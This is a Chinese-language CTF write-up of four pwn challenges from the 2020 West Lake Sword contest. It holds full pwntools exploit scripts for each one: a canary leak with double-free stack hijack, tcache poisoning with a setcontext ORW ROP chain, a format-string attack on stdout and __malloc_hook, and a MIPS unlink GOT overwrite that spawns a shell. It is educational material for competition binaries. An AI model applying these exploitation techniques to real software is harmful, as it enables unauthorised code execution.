上海犇众信息技术有限公司是以国际顶级安全团队盘古为核心的自主创新型企业，在操作系统安全性研究、程序自动化分析、漏洞挖掘与攻防等研究领域有雄厚基础。公司创立于2014年，致力于移动互联网安全技术研究和产品研发、为企业及个人用户提供专业的安全服务和解决方案。
基于盘古团队的安全研究成果，公司在移动终端APP漏洞检测与风险评估，恶意APP检测与分析、移动设备取证、移动设备APT检测与对抗等领域开发了多款产品。
公司以让每一台智能移动终端更安全为使命，基于丰富的系统攻防之道，铸造坚实的移动设备安全和数据隐私保障之盾。公司秉承技术分享理念，为促进信息安全社区的整体发展和技术提升积极贡献力量。
* * * | 社区文章 |
# 2020 西湖论剑部分PWN题复盘
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 summary
**mmutage** ：两个洞一个double free和栈溢出，栈溢出后面接一个输出可以leak canary，由于给了栈地址并且可以edit
stack所以可以double free改fd到stack上，这样就可以rop先泄漏libc，然后再csu来call
read到ret位置写入system(“/bin/sh”)来getshell。
**noleakfmt**
：看到stdout结构体的地址在当前printf栈地址的上面，这里第一步改双链位置上的stack值到程序地址的地方，我们第一步改printf返回地址为start抬高栈地址。后面就可以改stdout的file结构体的fileno为2就可以成功输出了。
**managesystem** ：32位的mips堆题，有个heapoveflow的漏洞，可以利用unlink劫持note_list进行leak
libc并劫持got表。
**ezhttp** :模拟http请求，2.27 double free, 劫持hook为setcontext+53进行orw
## 0x02 mmutag
### 查看文件
got表可劫持，PIE没开
### IDA分析
给了个栈地址：
double free：
栈溢出：
### 思路
利用栈溢出打印出canary，double
free改fd劫持stack，写rop一个是泄露libc’地址，再一个是改got表，csu再写入rsp，执行system(“/bin/sh”)进行getshell即可
### exp
# coding=utf-8
from pwn import *
context.update(arch="amd64",os="linux",log_level="debug")
context.terminal = ['tmux', 'split', '-h']
debug = 1
if debug:
p = process("./mmutag")
elf = ELF("./mmutag")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
else:
p = remote('183.129.189.62', 58704)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF("./mmutag")
one_gadget = 0x0
def myIntroduce(introduce):
p.sendlineafter("input your choice:\n\n", "1")
p.sendafter("your introduce \n", introduce)
def introduce():
p.sendlineafter("input your choice:\n\n", "2")
def create(index, content):
p.sendlineafter("your choise:\n", "1")
p.sendlineafter("your id:\n", str(index))
p.sendafter("your content\n", content)
def delete(index):
p.sendlineafter("your choise:\n", "2")
p.sendlineafter("your id:\n", str(index))
def stackSend(content):
p.sendlineafter("input your choice:\n\n", "2")
p.sendlineafter("your choise:\n", "3")
p.send(content)
def exit():
p.sendlineafter("your choise:\n","4")
pop_rdi_ret = 0x0000000000400d23
pop_r12_r13_r14_r15_ret = 0x0000000000400d1c # 0x0000000000400d1c: pop r12; pop r13; pop r14; pop r15; ret;
p.recvuntil("input you name: \n")
p.sendline("blueSheep\n")
p.recvuntil("your tag: 0x")
stack_address = int(p.recv(12),16)
success("stack address ==> "+hex(stack_address))
myIntroduce(p64(0x71))
stackSend("a"*0x19)
p.recvuntil("content: ")
p.recvuntil("a"*0x18)
canary = u64(p.recv(8))
canary = (canary >> 8) << 8
success("canary ==> "+hex(canary))
p.sendlineafter("your choise:\n", "3")
p.send(p64(0)+p64(0x71)+p64(0)+"\x00")
create(1,"\n")
create(2,"\n")
delete(1)
delete(2)
delete(1)
create(3,p64(stack_address - 0x40))
create(4,"\n")
create(5,"\n")
payload = flat([
0,canary,stack_address+0x10,
pop_rdi_ret,elf.got['puts'],
elf.plt['puts'],pop_r12_r13_r14_r15_ret,
elf.got['read'],0x80,stack_address+0x28,0,0x400d00])
create(6,payload)
p.sendlineafter("your choise:\n","4")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.sym['puts']
success("libc address ==> "+hex(libc.address))
p.send(p64(pop_rdi_ret)+p64(libc.search("/bin/sh").next())+p64(libc.sym['system']))
p.interactive()
## 0x03 ezhttp
### 查看文件
### IDA分析
这道题是一道模拟http请求的题目，功能参数都通过packet传递，同时一些验证字符也需要按照解析格式放在数据包内一并传递。需要耐心解析数据包格式，较繁琐。
最后检查密码的地方不用管，看汇编可以理解，result恒不为0。
数据格式大致是：
28 payload = "POST "
29 payload+= command
30 payload+= " Cookie: "
31 payload+= "user"
32 payload+= "="
33 payload+= "admin"
34 payload+= "token: "
35 payload+= "\r\n\r\n"
36 payload+= content
接下来就是三个功能：create、delete和edit。create会直接给出heap地址，free中有double
free，没有show。这道题目开启了沙箱，只能考虑orw来获得flag。
### 思路
double free劫持tcache pthread header，通过io来进行leak
libc，然后改hook为setcontext+53劫持stack esp指针，之后会跳转到提前布置的rop中执行ORW来获得flag
由于create通过\x00来算size，所以我们需要分开写，第一次写flag，第二次写write_base
### exp
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./ezhttp')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
if debug:
p = process('./ezhttp')
# p = process('./ezhttp',env={'LD_PRELOAD':'./libc-2.27.so'})
else:
p = remote('183.129.189.61',51302)
def makePacket(command,content):
payload = "POST "
payload+= command
payload+= " Cookie: "
payload+= "user"
payload+= "="
payload+= "admin"
payload+= "token: "
payload+= "\r\n\r\n"
payload+= content
return payload
def create(content='a\x00'):
payload = "content="
payload += content
sendPacket(makePacket("/create",payload))
def delete(idx):
payload = "index="
payload += str(idx)
sendPacket(makePacket("/del",payload))
def edit(idx,content):
payload = "index="
payload += str(idx)
payload += "&content="
payload += content
payload += '\n'
sendPacket(makePacket("/edit",payload))
def sendPacket(content):
p.sendafter("======= Send Http packet to me: ========",content)
#gdb.attach(p,"b *0x555555554000+0xf9d")
create("a"*0x100+"\x00") # 0
p.recvuntil("Your gift: 0x")
heap_base = int(p.recv(12),16)-0x260
success("heap base ==> "+hex(heap_base))
create("b"*0x100+"\x00") # 1
create("c"*0x100+"\x00") # 2
create("d"*0x100+"\x00") # 3
create("e"*0x18+"\x00") # 4
delete(4)
for i in range(7):
delete(0)
delete(1)
create("a"*0x100+"\x00") # 5
edit(5,p64(heap_base+0x10))
create("a"*0x100+"\x00") # 6
create("\x07"*0x100+"\x00") # 7
edit(7,"\x07"*0x40+p64(0x370+heap_base)) # 7
create("\x60\x07\xdd") # 8
edit(7,"\x07"*0x40+p64(0x370+heap_base))
create("\x00") # 9
create(p64(0xfbad1877)) # 10 io_stdout->flag
edit(7,"\x07"*0x40+p64(0x370+heap_base))
edit(8,"\x80\x07\xdd")
create("\x00") # 11
create("a\x00") # 12 io_stdout->write_base
edit(10,p64(0xfbad1800)[:4])
edit(12,"\x00")
p.recvn(0x68)
libc.address = u64(p.recvn(8))-libc.sym['_IO_2_1_stdout_'] -131
success("libc adddress ==> "+hex(libc.address))
syscall = 0x00000000000d29d5+libc.address
pop_rax = 0x43a78+libc.address
pop_rsi = 0x23e8a+libc.address
pop_rdi = 0x2155f+libc.address
pop_rdx = 0x1b96+libc.address
edit(7,"\x07"*0x40+p64(libc.sym['__free_hook']))
create(p64(libc.address+0x52145)[:6])
edit(5,"\x11"*0x98+p64(pop_rax)+p64(0x480+heap_base)+p64(pop_rax)) # esp
edit(3,"./flag\x00") # 0x0000555555758590
payload = flat([2,pop_rdi,heap_base+0x590,pop_rsi,0,syscall,
pop_rax,0,pop_rdi,4,pop_rsi,heap_base+0x5a0,pop_rdx,0x20,syscall,
pop_rax,1,pop_rdi,1,pop_rsi,heap_base+0x5a0,pop_rdx,0x20,syscall
])
edit(2,payload)
gdb.attach(p)
delete(5)
p.interactive()
## 0x04 noleakfmt
### 查看文件
### IDA分析
这里有个格式化字符串的漏洞，同时可以无限循环，注意关闭了输出缓冲区。
第一眼看着很像unprintableV，但是注意到格式化字符串是输入到bss上，同时关了stdout，但是这里没有stderr所以不能直接改bss中stdout为stderr，所以只能操作stdout结构体了。
### 思路
看到stdout结构体的地址在当前printf栈地址的上面，这里第一步改双链位置上的stack值到程序地址的地方，我们第一步改printf返回地址为start抬高栈地址。后面就可以改stdout的file结构体的fileno为2就可以成功输出了。
在抬高栈顶的时候选择改printf返回地址为start主要是由于在__libc_start_main中有这么一条指令就足以抬高到我们需要的地方。
后面我们则是通过bss上格式化字符串去改掉malloc_hook为one_gadget，最后通过输入大量字符串触发malloc执行one_gadget
### exp
#coding=utf-8
from pwn import *
context.update(arch="amd64",os="linux",log_level="debug")
context.terminal = ['tmux', 'split', '-h']
debug = 1
p = process("./noleakfmt")
elf = ELF("./noleakfmt")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
start_addr = 0x7b0
malloc_hook_low = 0x10
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
def exp():
p.recvuntil("gift : 0x")
stack_addr = int(p.recv(12),16)
success("stack address ==> "+hex(stack_addr))
stack_addr_low = u16(p64(stack_addr)[:2])
success("stack address low 2 bytes ==> "+hex(stack_addr_low))
if stack_addr_low > 0x2000 or stack_addr_low < 0x66c: # need crack
raise EOFError
payload = "%{}c%11$hn".format(str(stack_addr_low-0x0c))
p.sendline(payload)
sleep(0.5)
payload = "%{}c%37$hn".format(str(start_addr)) # need crack
p.sendline(payload)
sleep(0.5)
payload = "%{}c%10$hn".format(str(stack_addr_low-0x54))
p.sendline(payload)
sleep(0.5)
payload = "%{}c%36$hhn".format(str(0x90)) # modify stdout to stdout->fileno
p.sendline(payload)
sleep(0.5)
payload = "%{}c%26$hhn".format(str(0x2)) # modify fileno 0 to 2
p.sendline(payload)
sleep(0.5)
payload = "%9$phhh"
p.sendline(payload)
p.recvuntil("0x")
data = int(p.recv(12),16)
libc.address = data-240-libc.sym["__libc_start_main"]
success("libc address ==> "+hex(libc.address))
malloc_hook_addr = libc.sym['__malloc_hook']
payload = "%{}c%10$hn--".format(str(stack_addr_low-0x5c))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%36$hn--".format(str(malloc_hook_addr & 0xffff))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%10$hn--".format(str(stack_addr_low-0x5c+0x2))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%36$hn--".format(str((malloc_hook_addr>>16)&0xffff))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%10$hn--".format(str(stack_addr_low-0x5c+4))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%36$hn--".format(str((malloc_hook_addr>>32)&0xffff))
p.sendline(payload)
p.recvuntil("--")
one_gadget = one_gadgets[3]+libc.address
payload = "%{}c%10$hn--".format(str(stack_addr_low-0x5c))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%25$hn--".format(str(one_gadget & 0xffff))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%36$hn--".format(str(malloc_hook_low+0x2))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%25$hn--".format(str((one_gadget>>16)&0xffff))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%36$hn--".format(str(stack_addr_low+4))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%36$hn--".format(str((one_gadget>>32)&0xffff))
p.sendline(payload)
p.recvuntil("--")
p.sendline("%999999c%10$n")
p.sendline("cat flag 1>&2")
while True:
try:
exp()
p.interactive()
p.close()
except:
p.close()
if debug:
p = process("./noleakfmt")
elf = ELF("./noleakfmt")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
## 0x05 managesystem
### 程序分析
保护全关，32位的mips题目
### Ghidra分析程序
Ghidra软件介绍和安装教程[在这](https://www.secrss.com/articles/8829)
用来反编译mips比较方便。
这是一个传统的菜单堆题，分别有create、show、modify、delete四个功能。
modify的位置有溢出8个字节的漏洞，那么我们很容易就想到利用unlink进行攻击，劫持note_list。
### 思路
在当前chunk中伪造一个0x20的堆块，同时溢出编辑下一个chunk的pre_size和pre_inuse位，这样删除下一个chunk的时候会进行向上合并，触发unlink，最后可以达到劫持note_list的目标。
写入got表，先打印出libc地址，再劫持free函数为system，delete一个带有“/bin/sh”字符串的chunk即可getshell
### exp
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='arm',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
elf = ELF("./pwn3")
libc = ELF("./lib/libc.so.0")
global p
remote_gdb=0
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
elif remote_gdb:
p = process(["qemu-mipsel-static", "-g", "1234", "-L", "/home/shinnosuke/Desktop/pwn-mips/managesystem", "./pwn3"])
log.info('Please use GDB remote!(Enter to continue)')
return p
else :
p = process(["qemu-mipsel-static", "-L", "/home/shinnosuke/Desktop/pwn-mips/managesystem", "./pwn3"])
log.info('Please use GDB remote!(Enter to continue)')
return p
def create(sz,info='a'):
p.sendlineafter("options >>",str(1))
p.sendlineafter("Enter the user info's length:",str(sz))
if sz != 0:
p.sendafter("Enter user's info:",info)
def delete(idx):
p.sendlineafter("options >>",str(2))
p.sendlineafter("Enter the index of user:",str(idx))
def edit(idx,info):
p.sendlineafter("options >>",str(3))
p.sendlineafter("Enter the index of user you want edit:",str(idx))
p.sendafter("The new user's info:",info)
def show(idx):
p.sendlineafter("options >>",str(4))
p.sendlineafter("Enter the index of user you want show: \n",str(idx))
p = get_sh()
note_list = 0x411830
create(0x20)
create(0x20-8)
payload = p32(0)+p32(0x21)+p32(note_list-0xc)+p32(note_list-0x8)+"a"*0x10+p32(0x20)+p32(0x20)
edit(0,payload)
delete(1)
payload = p32(0)*2+p32(0x411830)+p32(0x50)+p32(elf.got['read'])+p32(0x4)
edit(0,payload)
show(1)
p.recvuntil("info: ")
data = u32(p.recv(4))
print hex(data)
libc.address = data - libc.sym['read']
success("libc address ==> "+hex(libc.address))
payload = p32(0x411830)+p32(0)+p32(elf.got['free'])+p32(0x10)+p32(libc.search("/bin/sh").next())
edit(0,payload)
edit(1,p32(libc.sym['system']))
delete(2)
p.interactive()
参考：
天枢西湖论剑WP
[2020-西湖论剑线上部分PWN-WriteUp](https://www.lyyl.online/2020/10/08/2020-%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91%E7%BA%BF%E4%B8%8A%E9%83%A8%E5%88%86PWN-WriteUp/) | 社区文章 |
Subsets and Splits